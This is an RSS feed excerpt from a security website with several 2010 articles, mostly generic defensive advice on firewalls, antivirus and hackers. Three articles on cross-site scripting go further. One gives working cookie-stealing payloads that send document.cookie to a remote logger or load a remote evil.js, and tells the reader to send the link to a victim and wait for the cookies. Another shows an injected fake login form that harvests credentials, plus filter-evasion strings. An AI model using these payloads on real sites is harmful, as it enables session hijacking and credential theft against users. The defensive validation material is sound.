Wireless Protector Software is installed on windows organization platform and all organization laptops need to be added to the protected computers list. The software will scan all protected laptops and using the network administrator username and password will create a service in each remote laptop. The service that installed on the remote laptops will try to communicate with Wireless Protector Software that installed on the organization LAN each time there is a change in the connectivity status of its network adapters. Upon receiving confirmation from the software the remote laptop will automatically disable the WiFi adapter if the laptop LAN cable is connected to the organization network and re-enable it back when the LAN cable is plugged out from the laptop. Wireless Protector Software will verify that the protection service is running on the remote laptops of the organization and collect protection events and WiFi activation status for each laptop.<br />
<br />
<strong class='bbc'>How does it protect the organization?</strong><br />
A remote computer WiFi will be disabled only when receiving confirmation from Wireless Protector Software that installed on the organization LAN. That mechanism will assure that protected laptops WiFi adapter will be disabled only when it connected to the organization LAN and not in any place outside the organization. When connected to the organization LAN remote protected laptops will disable their WiFi adapter and the remote user will receive notification message about it. Trying to by passing this mechanism manually by the remote user will fail while the remote laptop is connected to the organization LAN. The software will notify the administrator about the protection status of each remote laptop and collect WiFi disabling events from the protected laptops. The software will assure that the organization LAN will be protected from unsecured wireless connections and from duplicate network connections.<br />
<br />
<strong class='bbc'>Conclusion</strong><br />
Wireless networks are still the most convenient way for fast and easy communication while WiFi adapters became a standard in every laptop. However, keeping wireless networks accessible to public networks leave them unsecured and vulnerable to potential intruder’s attacks. Wireless Protector Software will protect the organization LAN from wireless networks vulnerabilities and still enable to use wireless communication freely and safely.]]></description>
		<pubDate>Fri, 03 Sep 2010 08:26:54 +0000</pubDate>
		<guid isPermaLink="false">2b24d495052a8ce66358eb576b8912c8</guid>
	</item>
	<item>
		<title>Computer Security Risks</title>
		<link>http://www.astalavista.com/page/articles/_/general-information/computer-security-risks-r44</link>
		<description><![CDATA[Everybody who has a connection to the Internet is in danger of hacking. This is primarily due to certain security holes that are inherent in a large majority of computer systems today. Hackers can do many things to your computer. They can access and copy important and sensitive files and documents; they can modify or delete your files and folders; and they can even reformat your hard drives if they wanted to. This is why it is so important to improve the security on your computer. The scary thing is that accessing other people’s computers over the Internet is relatively easy and almost anyone can do it, given enough time and effort. The good news is that there are many steps and measures that you can take to make your computer difficult to hack.<br />
<br />
Hacking is especially dangerous to people who use DSL or cable to connect to the Internet. This is due to the fact that these types of connections often use a static IP address that hackers can use to get into your system. Computers using dynamic IP addresses are more difficult to access because their IP addresses regularly change. There are many tools littering the Internet that unscrupulous individuals can use to hack into your computer without you knowing it. They leave no trace on your system and chances are that you will never realize that anyone actually hacked into your system until it is already too late.<br />
<br />
You should go check out a diagnostic site that can give you an idea regarding the vulnerabilities in your system’s security. Just keep in mind to stick to the reputable diagnostic sites just to be safe. You will also have to take a closer look at your file sharing and printer sharing settings. Hackers can easily use these features to take control of your system.<br />
<br />
Unfortunately, computers normally have thousands of other ports that can be used to bypass your system’s security. These ports are normally used to download files, surf the Internet or send emails.  However, these ports can also be used as doors to access your files and folders. You can download port monitoring software to keep a closer eye on your active ports.<br />
<br />
It is never a good idea to share a connection with people you don’t know. However, there are safe ways of splitting your Internet connection to multiple computers while still making it difficult for hackers to take over. There are many products that allow you to do this. All you have to do is visit any reputable computer store or website that sells these products and you’re good to go.<br />
<br />
You should also make use of anti-virus software to beef up your computer’s security. There are hundreds of anti-virus software packages available today, but it is best to stick with reputable brands that have a good support system. Once you have purchased and installed the software, remember to update it regularly so your computer can take care of new viruses and other type of malware with relative ease. <br />
<br />
Using a firewall is also one of the best ways to safeguard your system. Many operating systems like Microsoft Windows ship with their own firewalls. However, learning how to properly configure your firewall can be a very tricky affair. It is best to refer to online tutorials on how to configure your firewall.<br />
<br />
An improperly-configured firewall can easily be breached by hackers. However, there are many settings and features that you can fiddle with to improve your system’s security. Hacking is now a part of our daily lives and it is best to be prepared in case you are targeted by these unscrupulous cyber-criminals.]]></description>
		<pubDate>Tue, 31 Aug 2010 07:30:56 +0000</pubDate>
		<guid isPermaLink="false">0a09c8844ba8f0936c20bd791130d6b6</guid>
	</item>
	<item>
		<title>Computer Security: Dealing with Hackers</title>
		<link>http://www.astalavista.com/page/articles/_/lectures/computer-security-dealing-with-hackers-r43</link>
		<description><![CDATA[When computers started going into fashion, people never had to worry about hackers, viruses and other computer security issues. Nowadays, the world is a very different place. People download a lot of things from the Internet and they are constantly at risk from viruses, Trojan horses and hacking. This is one of the main reasons why it is so important to learn about the fundamentals of computer security and how to stop hackers from tampering with your system.<br />
<br />
The first thing that you will have to do is to purchase a good anti-virus system. There are many good anti-virus solutions in the market and you can pick one that you are comfortable with. After installing it into your computer, you should keep in mind that you will have to update it regularly. This is important in stopping new viruses and hacking techniques from taking advantage of the inherent vulnerabilities in your system. You should learn how to use your software and it pays to know how to quarantine, repair and delete infected files and folders.<br />
<br />
Your firewall is the next thing that you should pay close attention to. There are two types of firewalls; namely, software and hardware. Firewalls help users prevent hackers from accessing the files and folders on your computer. Most operating systems come with built-in firewalls. You should learn how to use your firewall as early as possible.<br />
When improving the security of your system, you will also have to keep a close eye on system events. You can do this by regularly checking your system log for any suspicious activity. You should start getting worried if you are constantly getting notices regarding unknown programs that you did not install yourself. You should also be on the lookout for TCP/IP messages and other system warnings.<br />
<br />
You should also be diligent in downloading and installing operating system updates. These are very important to the security of your computer. Software providers often provide updates when they find and fix vulnerabilities and loopholes that hackers can take advantage of. Updating regularly will make it very difficult for people trying to gain access to your computer. As soon as new patches are available for your programs, you should download and install them right away. Hackers usually take advantage of the vulnerabilities in common programs like web browsers, email clients and programs like Adobe Acrobat to get into your system. Security fixes often eliminate these vulnerabilities, so hackers will have to find new loopholes to exploit your system. This game of cat and mouse between software developers and hackers has been going on for a while now and will likely continue in the future.<br />
<br />
Hackers are now also capable of taking control of your computer’s webcam, if you have one. This is more than just a breach in computer security and your privacy is now at stake. It is a well-known fact that everything connected to your computer can be used and accessed by someone who has already gained access to your computer. This includes devices like microphones and webcams. In fact, a number of hackers have already been caught after successfully taking control of other people’s webcams and allowing them to see what the victims are doing.<br />
<br />
Thankfully, webcam hacking is usually accomplished using specially-made viruses. These viruses can be detected and dealt with using any reputable anti-virus software. This is just one of the reasons why computer security is so important these days. The best way to keep prying eyes from using your webcam is still one of the simplest solutions to this security problem. All you have to do is disconnect or cover your webcam when not in use.]]></description>
		<pubDate>Mon, 30 Aug 2010 07:59:02 +0000</pubDate>
		<guid isPermaLink="false">903ce9225fca3e988c2af215d4e544d3</guid>
	</item>
	<item>
		<title>Website Security Against Black Hat SEO and Hackers</title>
		<link>http://www.astalavista.com/page/articles/_/general-information/website-security-against-black-hat-seo-and-hackers-r42</link>
		<description><![CDATA[The internet boom has opened more doors for people to reach a wider network via social media. Whether it’s about business or just finding a quicker means to communicate, the worldwide web has become a part of most people’s lives. However, the issue of personal security against hackers has been an alarming concern online.  <br />
<br />
The impetus behind these undesirable activities lies on a misguided, if not twisted take on search engine optimization. Search engine optimization or SEO per se, is not bad. The primary aim of SEO is to improve rankings of websites so that they would be more “crawlable” or easily accessible for search engines. A higher website ranking means more volume of traffic on your site and more traffic translates to higher website profitability through conversions of visitors into actual customers. But this aspect requires another discourse. For now let’s focus on some devious internet practices.    <br />
<br />
The negative connotation that has been associated with SEO can be attributed most of the time to black hat SEO practices. Black hat SEO includes, among other shady tactics, keyword stuffing, cloaked pages, link farming, spamdexing and blog comment spamming.  The most commonly applied tactics is spamming or in laymen’s term, sending barrages of unwanted email without the consent of webpage or email account owners.<br />
<br />
Unlike white hat SEO that relies mostly on favorable impressions on the social media community through quality contents, link building and other evocative methods, black hat SEO tends to be a security issue among online users. It is not that uncommon for personal emails to be flooded with spam mails that come with viruses. These types of viruses, most of the time, are designed to freely access personal online accounts. The idea is to spy on a user’s profile so that the spam mail sender can streamline a particular product to be promoted. Actually, it is like those privacy-invasion tactics employed on George Orwell’s dystopian landscape of a novel 1984. A digital and more adamant take on privacy invasion, that is.<br />
Internet hacking these days is more advanced and organized. Apart from black hat SEO tactics, some also employ gray hat practices. Gray hat SEO, according to SEO experts is hard to define. They are not actually something that falls in between black hat and white hat. It is more about practices that are more beneficial than standard. One good example of gray hat SEO is link-buying or shopping links to establish high ranking. Still ill-defined, this practice is also prone to hacker-exploitation thus also a security risk when it goes out of hand.   <br />
<br />
To minimize these security risks, it is best to undertake preemptive measures such as email security protection schemes offered by authoritative sites. Hackers tend to attack vulnerable websites and accounts to promote services and products without the owner’s content. That is why, it is best to optimize your site to protect it from these harmful activities. Online users can also report these activities to Google and Yahoo. These search engines provide security measures against internet hacking and online security risks. <br />
<br />
A basic knowledge on search engine optimization and how search engine operates is also a great help in detecting whether what is being promoted to you is white hat, black hat or gray hat SEO. There is no excuse in not grasping the basics of these things, especially in the age of information technology. The further advancement of the information super highway provides online user easy access on security risk management and essential knowledge on how to protect your account against online hackers. Employing preventive measures is the best way to keep your website or account safe and free from unmitigated online security risks.]]></description>
		<pubDate>Fri, 27 Aug 2010 08:44:50 +0000</pubDate>
		<guid isPermaLink="false">a8baa56554f96369ab93e4f3bb068c22</guid>
	</item>
	<item>
		<title>Why an Anti-Virus Alone is not enough Protectio...</title>
		<link>http://www.astalavista.com/page/articles/_/general-information/why-an-anti-virus-alone-is-not-enough-protectio-r41</link>
		<description><![CDATA[Most people already understand the importance of using anti-virus software to protect their computers from viruses. The increasing demand for anti-virus programs is chiefly caused by the increasing need to guard computers from today’s onslaught of risky computer viruses. <br />
<br />
Actually, an anti-virus program could help people decrease the risks of infecting their computer’s programs and files. However, an anti-virus program alone is not enough protection from electronic viruses. Some viruses are already transmitted through emails and various websites, which could cause your computer to crash or have confidential information about their servers stolen.<br />
<br />
If you want to decrease the possibility of experiencing this kind of problem, you should quit depending on your anti-virus alone. Different kinds of viruses and malwares could actually cause severe damage to your servers once you fail to acquire added protection for your computer’s system.<br />
<br />
Here are some of the different threats that are commonly transmitted through electronic mail today.<br />
<br />
<span style='font-size: 18px;'><strong class='bbc'>Buffer overflows</strong></span><br />
<br />
Buffer overflows could infect your computer by controlling its executions and functions. An attacker could easily exploit a bug in your affected computer program and use this to control various executions in your computer. Some attackers could even cause your entire computer program to crash.<br />
<br />
<span style='font-size: 18px;'><strong class='bbc'>Trojans in electronic mails</strong></span><br />
<br />
Trojans that are transmitted through emails could actually do two different things to your computer. Some could cause a breach of security in your network and steal important information from your servers. Meanwhile, some Trojans could also cause damage to your computer’s program by activating a distributed attack in its server. <br />
<br />
Since Trojan attacks usually require the need to be activated by the recipient itself, attackers usually disguise Trojan attacks in a number of different ways. Some keep their Trojan attacks as catchy email attachments in the form of jokes or videos that could encourage the victim to run the infected program.<br />
<br />
<span style='font-size: 18px;'><strong class='bbc'>HTML viruses or active content attacks</strong></span><br />
<br />
Attackers that use HTML viruses usually aim it towards those who constantly use web browsers. Some also use it for people who use HTML-enabled email accounts. These invasive attacks are usually created by using the special scripting features of HTML. After this, attackers execute codes into the computers of their victims in order to acquire private information about their victim’s server. Some attackers also use this kind of virus to cause a victim’s computer to display some website content.<br />
<br />
<span style='font-size: 18px;'><strong class='bbc'>Protecting your computer from powerful security threats</strong></span><br />
<br />
Now that you are already familiar with some of the most common viruses that most anti-virus programs are not able to detect, you can start thinking of additional ways to protect your computer from these security threats. <br />
<br />
Since an anti-virus program is not enough to keep servers safe from viruses, some organizations have tried to install firewalls into their computer for added security. However, firewalls could only protect their Internet and prevent unauthorized users from accessing your computer’s network.  <br />
<br />
Firewalls do not have the capability to check the emails sent by those who are authorized to use your system. This makes you susceptible to attacks from email viruses that could still pass through a firewall security. Hence, an organization that uses a firewall and an anti-virus program is still prone to Trojan, HTML virus and buffer overflow attacks.<br />
<br />
The best way to protect your network from these email-transmitted viruses is to check all the inbound and outbound emails created by your company before forwarding it to various users. You could also install an efficient anti-virus gateway on your mail server that could check all your email’s contents for viruses and security threats. You should look for programs that offer this kind of security against viruses and consider investing on that particular program.<br />
<br />
If you want to keep your online business from identity thefts and profit losses due to system crashes caused by powerful viruses, you should always remember that an anti-virus and a firewall is not enough to secure your network. You should be willing to do everything it takes to protect yourself from these threats because they could cause tremendous losses to your online business or organization.]]></description>
		<pubDate>Wed, 25 Aug 2010 07:29:05 +0000</pubDate>
		<guid isPermaLink="false">0f28b5d49b3020afeecd95b4009adf4c</guid>
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	<item>
		<title>Today’s Hackers Versus Old-School Hackers</title>
		<link>http://www.astalavista.com/page/articles/_/general-information/today%e2%80%99s-hackers-versus-old-school-hackers-r38</link>
		<description><![CDATA[To some people, there is apparently a big difference between the old hackers and the new hackers.  These so-called old school hackers point out that most of the newer generations of hackers do not deserve the title hacker and would rather refer to them as criminals or cyber-terrorists.  The way these new hackers are generally portrayed in the media are young clever misfits, who would break into security systems without authorization just to cause havoc for fun. The old school hackers strongly resent this saying that these are hackers without ethics, who have no qualms about stealing passwords and software and sharing it with anybody they want.<br />
<br />
Most of the old hackers have actually started working for computer security firms corporate software conglomerates. There are even some people like Jobs and Wozniak who have even allowed their company to patent their hardware and software. <br />
<br />
The new hackers of the 90’s, as it seems, are not living up to what the old hackers expect of them. A good portion of old hackers go to great measures to define themselves apart from this new class of hackers. Although what most of these old hackers do not realize is that they are quite similar to the new generation of hackers. They are simply too stubborn to look into the reasons why the new hackers do this and they do not understand why these new hackers act the way they do.<br />
<br />
According to some old hackers, there is a clear distinction between old and new hackers. The old hackers, as they say, were determined to create, while the new hackers determine to hinder and demolish, to cause havoc. They say that the old hackers enjoyed being in complete control over their computers while the new hackers enjoy the power they get through their computers over other people. They claim that they, the old hackers, sought to improve, while the second group sought to exploit. To simplify things: the old hackers believe they are computer geniuses and that the new hackers are computer terrorists.<br />
<br />
Let’s take a look at what old hackers were like. Old hackers were very well known for getting around locks of both the electronic and physical variety. Is there really much difference between the old hackers who justified their actions because they felt that they should have free access to the IBM mainframe, to the new hackers who feel that they should not be denied free access to massive commercial databases without first getting an expensive account? The old hackers were also known for exploiting phone security and exploring different hacks to make free phone calls to unsuspecting places. The old hackers had resented the phone companies for their refusal to share their technical information about telephones. Old hackers believed they were liberating information which they thought should be freely available. <br />
<br />
New hackers also believe that while computers can be used as tools to make everyone’s lives easier or as a tool to create beauty, they are also being used to limit freedom and autonomy— they use this to justify that control over computers is simply an act of self defence. Hacking for some hackers is more than just a mere game, or a method to get free stuff off the internet, for them it is a way of life.<br />
<br />
There just might be a point in time where the old and new hackers will talk about how similar they really are instead of their difference. While it is true that there are some hackers out there, who do unethical and uncouth things, the old hackers should realise that they are a completely different breed of hackers who have nothing to do with the average ethical hacker with whom they share much similarities with.]]></description>
		<pubDate>Tue, 17 Aug 2010 08:05:16 +0000</pubDate>
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		<title>Cross Site Scripting: Different Methods Version: 3</title>
		<link>http://www.astalavista.com/page/articles/_/lectures/cross-site-scripting-different-methods-version-3-r37</link>
		<description><![CDATA[XSS Explained.<br />
<br />
Here is where I will discuss some different syntaxes of XSS and how to steal cookies. I will also explain the idea of how the XSS syntaxes work.<br />
       a)<br />
&lt;script src=http://site.com/evil.js&gt;<br />
<br />
       This works because when a website allows JavaScript to be executed, you can have a pre-made JavaScript file type on a remote server and the &lt;script src=""&gt; tag will read from it and execute it on the page.<br />
<br />
      <br />
<br />
       <img src='http://www.astalavista.com/public/style_emoticons/default/cool.gif' class='bbc_emoticon' alt='B)' /><br />
'"/&gt;&lt;/&gt;&lt;script src=http://site.com/evil.js&gt;<br />
<br />
       This is what I mostly use to escape fields on the website. Let's say that I search for "test", and the next page has the word "test" in the search field again, I will try to escape it with this code.<br />
       c)<br />
&lt;img src=xss.png onerror="document.location='http://site.com/log.php?cookie='"+document.cookie&gt;<br />
<br />
       This script will try to include a fake image named "xss.png" and will automatically error. On the error, it will execute the JavaScript to redirect to a logger and log the victim's cookie.<br />
       d)<br />
&lt;script&gt;document.location="http://sitea.com/log.php?c="+document.cookie+"&redirect=http://siteb.com";&lt;/script&gt;<br />
<br />
       This is the most basic JavaScript for a cookie stealing attempt. This is what would most likely be placed inside one of the many .js files being retrieved by a remote server.<br />
This script will redirect the webpage to <a href='http://sitea.com/log.php?c=' class='bbc_url' title='External link' rel='nofollow external'>http://sitea.com/log.php?c=</a>[THEIR COOKIE]&redirect=http://siteb.com<br />
<br />
       The GET variable c contains the user's cookie from the following page. The redirect part is just another GET var that will redirect them away from the logger, to another website, so that they do not notice anything TOO strange. The best way to avoid suspicion is to redirect them to the same site, just a different page.<br />
<br />
       Breakdown of the JavaScript if you didn't already know it:<br />
<br />
       document.location=""; or document.location(); is a function in JavaScript that changes the document (webpage)'s<br />
<br />
       location.  document.cookie is JavaScript's way of storing cookie information on a website.  Mostly everything can be called from document.* whatever.<br />
<br />
After that, all that is pretty much left to do is send a link containing the URL with the XSS vulnerability in it to your victim and let he/she click it, while you wait for your cookies.]]></description>
		<pubDate>Tue, 10 Aug 2010 08:06:30 +0000</pubDate>
		<guid isPermaLink="false">3988c7f88ebcb58c6ce932b957b6f332</guid>
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		<title>Cross Site Scripting: Prevention: Version 2</title>
		<link>http://www.astalavista.com/page/articles/_/lectures/cross-site-scripting-prevention-version-2-r36</link>
		<description><![CDATA[Finding XSS holes in websites.<br />
<br />
The easiest way to find XSS holes in websites is manually. I'm sure you can write a script to do it for you, but that takes the fun out of it.<br />
<br />
When searching for holes, you might want to check these fields:<br />
       a) Search Field<br />
       <img src='http://www.astalavista.com/public/style_emoticons/default/cool.gif' class='bbc_emoticon' alt='B)' /> Comment Fields<br />
       c) Feedback Forms<br />
       d) Login Forms<br />
       e) Error Pages<br />
<br />
To see if they are vulnerable, I use simple syntax for both HTML and JavaScript. "&lt;h1&gt;a&lt;/h1&gt;" and "&lt;script&gt;alert(1)&lt;/script&gt;". I know if the following page has either a large heading that reads "a" or an alert box that says "1", the field is vulnerable.<br />
<br />
First off, let's get a couple of things straight -- be smart, not stupid. Follow these simple rules:<br />
<br />
   1. If you're expecting a particular type of data, check to ensure that it is what you're expecting.<br />
   2. Check the length -- if you expect a fName of only 25 characters, chop extra characters off and drop 'em. Don't give evil Eddie any sort of chance to do a lot of damage.   <br />
   3. Look for non-valid characters -– like &lt; or &gt; or the ubiquitous ;. Don't just take whatever you get from the querystring; question all your input. Trust no one. Really.<br />
<br />
<br />
Ok, here's a smidget of code -- obviously, you'll want to flesh this out to fit your particular site:<pre class='prettyprint'>
private bool checkValueQS(string QS)
{

Regex r = new Regex("&#91;^0-9a-zA-Z&#93;");

// Find a single match in the string.

Match m = r.Match(QS);  

if (m.Success)  

{

 return true;

}

return false;

}
This isn't Rocket Science -- it's pretty easy in concept. All I'm doing is trying a NOT match against the numbers 0-9 and valid letters a-z and A-Z. Anything else is forbidden. You can then redirect your malicious end user who was trying to pass in the 'ol script tags.
Try this the next time you want to check up on Lumpy:
private void Page_Load(object sender, System.EventArgs e)

{

if (Request.QueryString&#91;"fName"&#93; != null)

{                

if (checkValueQS(Request.QueryString&#91;"fName"&#93;.ToString()) == false)

{

 Response.Write("Hello " + Request.QueryString&#91;"fName"&#93;);

 }

 else

 {

 Response.Write("Hello... JERK!");

  }

}

}</pre>
Notice that if the end user does try to pass anything other than a number or an alpha, they get told off with a Response.Write("Hello... JERK");]]></description>
		<pubDate>Tue, 10 Aug 2010 08:05:17 +0000</pubDate>
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		<title>Cross Site Scripting Version 1</title>
		<link>http://www.astalavista.com/page/articles/_/guides/cross-site-scripting-version-1-r35</link>
		<description><![CDATA[Cross Site Scripting - Version: 1<br />
Something that everyone should know | Something that everyone may not know<br />
Author: Kshitij kumar<br />
Email: krayknot@yahoo.com<br />
<br />
<br />
As the name implies, Cross Site Scripting means a sort of Scripting that is done outside the scope of the website. For example: A website is providing a text box to  input some text and a malicious user is entering some script(s) [ mostly Javascript ] inside that text box to execute those scripts on the server or anyway.<br />
“Cross Site Scripting” abbreviated as “XSS” not “CSS” as “CSS” has already denoted for “Cascading Style Sheet”.<br />
<br />
Website owners must know the serious consequences of XSS when exploited on a vulnerable web application. Site owners says that it cannot be used to steal sensitive data from their database. This is a common mistake. There are stories where it was claimed that XSS is not really a risk. and this is someting a challenge for the hackers and that hackers always willing to accept,<br />
A practical example of XSS on a test site<br />
The following example shows how XSS can be used to modify the functionality of a web page and to re-design the page as per the hackers will: [third party example]<br />
<br />
Load the following link in your browser: <a href='http://testasp.acunetix.com/Search.asp' class='bbc_url' title='External link' rel='nofollow external'>http://testasp.acunetix.com/Search.asp</a>, you will notice that the page is a simple page with an input field for running a search<br />
Try to insert the following code into the search field, and notice how a login form will be displayed on the page:<br />
<br />
&lt;br&gt;&lt;br&gt;Please login with the form below before proceeding:&lt;form action="destination.asp"&gt;&lt;table&gt;&lt;tr&gt;&lt;td&gt;Login:&lt;/td&gt;&lt;td&gt;&lt;input type=text length=20 name=login&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Password:&lt;/td&gt;&lt;td&gt;&lt;input type=text length=20 name=password&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;input type=submit value=LOGIN&gt;&lt;/form&gt;<br />
<br />
Then simply hit the search button after inserting the code.<br />
Through the XSS flaw on the page, it has been possible to create a FAKE login form which can gather a user’s credentials. As seen in step 2, the code contains a section which mentions “destination.asp”. That is where a hacker can decide where the FAKE login form will send the user’s log-in details for them to be retrieved and used maliciously<br />
A hacker can also inject this code by passing it around via the browser’s address bar as follows:<br />
<br />
<a href='http://testasp.acunetix.com/Search.asp?tfSearch=%3Cbr%3E%3Cbr%3EPlease+login+with+the+form+below+before+proceeding%3A%3Cform+action%3D%22test.asp%22%3E%3Ctable%3E%3Ctr%3E%3Ctd%3ELogin%3A%3C%2Ftd%3E%3Ctd%3E%3Cinput+type%3Dtext+length%3D20+name%3Dlogin%3E%3C%2Ftd%3E%3C%2Ftr%3E%3Ctr%3E%3Ctd%3EPassword%3A%3C%2Ftd%3E%3Ctd%3E%3Cinput+type%3Dtext+length%3D20+name%3Dpassword%3E%3C%2Ftd%3E%3C%2Ftr%3E%3C%2Ftable%3E%3Cinput+type%3Dsubmit+value%3DLOGIN%3E%3C%2Fform%3E' class='bbc_url' title='External link' rel='nofollow external'>http://testasp.acune...3E%3C%2Fform%3E</a><br />
<br />
It is the process of injecting JavaScript (mainly) and also HTML into a webpage for important feedback. This feedback may contain many things;  one, most commonly being the user's cookie. A cookie is the variable that web-browsers use to store your login credentials. Without a cookie, you cannot "stay logged in" on your favorite websites. This is important because if somebody were to obtain your cookie, he/she could easily spoof your login information without any need of knowing your password. XSS is, in my opinion, the most common and dangerous exploit that exists on the internet today. It is dangerous because it is common (and useful), and it is common because it is most overlooked. Most WebPages today are user-interactive, which basically means that the website allows the user to interact with its content. Some of this interactivity may include search fields (most commonly), login forms, comment fields, feedback forms etc..<br />
<br />
XSS attacks can be termed as such attacks that bypass the system checks and act themselves as  a part of the system. This mainly happens due to the non-sanitizing structure of HTML that has the capability to take any command [ in the proper tags ] and to display it on the user end. One single hole in the website that allows to enter scripts can harm anything in the website, that can be any page content, cookie(s), link(s) or even the Page redirection statements on the client side.<br />
<br />
The malicious user can use mostly the Javascript to target any website. But XSS is not limited to Javascript only it may be JAVA, VBScript, Flash or any other web supported scripting language.<br />
<br />
Most of the big brands in the website colony has became the prey of XSS like Yahoo, Google, Orkut and Facebook with the loss of huge revenue. Now they have controlled the threat but not cent percent. Each and everyday more than 50% of the new websites are targeting for the XSS attacks due to their weak security and validation structure.<br />
<br />
There is no standard way of injecting XSS into any website. Even it is not necessary to have the XSS code inside the &lt;script&gt; tags. This may be any method, any combination of characters, even in the Hexadecimal format XSS can insert, but the main measure is that how the website accepts the input from the user and what type of input it accepts from the user.<br />
<br />
How it works<br />
HTML encoding structure is such that it accepts every command or phrase withing the tags( &lt;&#092;&gt; ) and hence there is a possibility to insert any tag(s) in a page that afterwards could act as a part of the same page with other HTML tag(s).<br />
<br />
At the first sight, it seems that the effect of the XSS is limited to only one user and previously at the beginning days of XSS the malicious scripts were responsible for the damage of User interface and some images only, but as the resources grew, technology advanced, the way of XSS injection changed tremendously.<br />
<br />
We can divide the XSS threats in two ways:<br />
1. Non Persistent scripts.<br />
2. Persistent Script.<br />
<br />
1. Non Persistent Scripts: If XSS attack is for some limited area only, eg: to change the behaviour, font, color of the website only then it is somewhat that can control.<br />
<br />
2. Persistent Script: But if the XSS attack is something that resides in the Server that can be more harmful for the complete system. Persistent XSS attack can even lead the complete system to be hacked.<br />
<br />
1. Basic XSS<br />
   When the user searches for something and the input is reflected on the page, this may show signs of XSS possibilities. If the user were to search for &lt;script&gt;alert(1)&lt;/script&gt;, and the returning page contained and alert box that read "1", the field is also vulnerable to XSS Injection.<br />
      <br />
2. HTTP Response Splitting<br />
   This has something to do with the headers that your browser uses to communicate to the server with. If the webpage allows you to modify them via post or get vars, and reflects the information back, you can easily modify these headers to your needs in order to cross-site script the page. Most commonly, the header's that are XSS'able are the User-Agent: headers. Most pages don't sanitize the user agent when reflecting back the user's browser properties (most commonly on a 404 page.)<br />
<br />
Previously the attacks were limited to the HTML only. for eg: I have to display my name in Bold and in Red Color and the website in which my profile is, not allows Text Formatting then i can add my name in tags like &lt;Font color = “Red” Bold = “True”&gt;MyName&lt;/Font&gt; and then i will save this string and if the website is simply displaying my name then this string will be treating as a part of HTML of the same page and the name will appear Bold and Red every time as the string “&lt;Font color = “Red” Bold = “True”&gt;MyName&lt;/Font&gt;” is saved in the database.<br />
<br />
You're passing a user's first name around from one page to another and then are displaying that querystring value on the page with a Response.Write, here you are increase the chances of  XSS.<br />
<br />
For Example:<br />
<a href='http://whatzit.com/whatthe/WebForm1.aspx?fName=Lumpy' class='bbc_url' title='External link' rel='nofollow external'>http://whatzit.com/w...spx?fName=Lumpy</a><br />
Now you want some changes:<br />
Response.Write(&#092;&#092;"Hello &#092;&#092;" + Request.QueryString(&#092;&#092;"fName&#092;&#092;"));<br />
When you run this code you get the following output:<br />
Hello Lumpy<br />
Here's some more that would produce the "Hello Lumpy" output:<br />
<a href='http://whatzit.com/whatthe/WebForm1.aspx?fName=Lumpy' class='bbc_url' title='External link' rel='nofollow external'>http://whatzit.com/w...spx?fName=Lumpy</a><br />
But here is something dangerous!<br />
<a href='http://whatzit.com/whatthe/WebForm1.aspx?fName=' class='bbc_url' title='External link' rel='nofollow external'>http://whatzit.com/w...rm1.aspx?fName=</a> &lt;script language='javascript'&gt;alert("beotch");&lt;/script&gt;<br />
now, the browser will popup a nice little box telling you "beotch"!<br />
Any code you execute in JavaScript can be piped into your site using the Cross Site Scripting vulnerability.<br />
Check out this..<br />
<a href='http://whatzit.com/whatthe/WebForm1.aspx?fName=&lt;script' class='bbc_url' title='External link' rel='nofollow external'>http://whatzit.com/w...x?fName=&lt;script</a> language='javascript'&gt;window.navigate('http://mrPron');&lt;/script&gt;<br />
Now, Check out this next line...<br />
&lt;a href="http:// whatzit.com/whatthe/WebForm1.aspx?fName=&lt;script language='javascript'&gt;window.navigate('http://mrPron');&lt;/script&gt;"&gt;Mole Hair Removal&lt;/a&gt;<br />
<br />
I send someone a valid link to a URL, maybe they do make it to the site, but they also get something else... the nasty little JavaScript in the link.<br />
<br />
But now a day(s) due to advent of new technologies like AJAX, DOM model(s), the situation is somewhat grave. How?<br />
A malicious user finds some information in a social networking website as follows:<br />
<br />
- Span tag (if available) or tag information of the “Sign Out” button, say the id of the &lt;span&gt; tag of Sign out is “spSIgnOut”.<br />
- a page where the user can enter text or Scraps.<br />
- all the input controls on the page [including hidden controls by using the Source of the Web page ].<br />
- all the input controls of which information saves in the database on postback.<br />
<br />
Here to understand we assume that the website is not optimized for XSS attacks.<br />
<br />
Now the malicious user enters a script in one of the text box inside &lt;script&gt; tag, in the script the user changing the InnerHTML of the span tag “spSignOut”:<br />
<br />
&lt;script language = ‘javascript’&gt;<br />
!--Code to change the innerhtml of the sign out span with the alert(‘you cannot sign out of the system’);<br />
&lt;/script&gt;<br />
<br />
After entering this command, the malicious user saves the scrap. Now on the opening of the same scrap the html link of the sign out link will have been changed. And this is inside the database, it will happen again and again. And by this way the malicious user would have been changed the HTML by XSS.<br />
<br />
You can now imagine how dangerous the XSS is.<br />
<br />
You can use some measures to avoid this like:<br />
1. Enocoding and Decoding of Tags if present in any input<br />
2. Disabling scripts<br />
3. Matching the Response and Request data on each postback.<br />
<br />
But can the traditional methods can stop the XSS threats??<br />
I think NO because here are some other methods to inject XSS like:<br />
<br />
'';!--"&lt;XSS&gt;=&{()}<br />
<br />
and,<br />
<br />
&lt;IMG SRC="javascript:alert('XSS');"&gt;<br />
<br />
and,<br />
<br />
&lt;IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041&gt;<br />
<br />
and,<br />
<br />
&lt;iframe src=http://ha.ckers.org/scriptlet.html &lt;<br />
<br />
and,<br />
<br />
&lt;META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"&gt;<br />
<br />
and,<br />
<br />
exp/*&lt;A STYLE='no&#092;xss:noxss("*//*");<br />
xss:ex&#x2F;*XSS*//*/*/pression(alert("XSS"))'&gt;<br />
<br />
and,<br />
many other ways even i dont know<br />
<br />
So enjoy the article and in next Version 2 , I will share some more about the “XSS”<br />
<br />
Au rvoir!!]]></description>
		<pubDate>Tue, 10 Aug 2010 08:03:09 +0000</pubDate>
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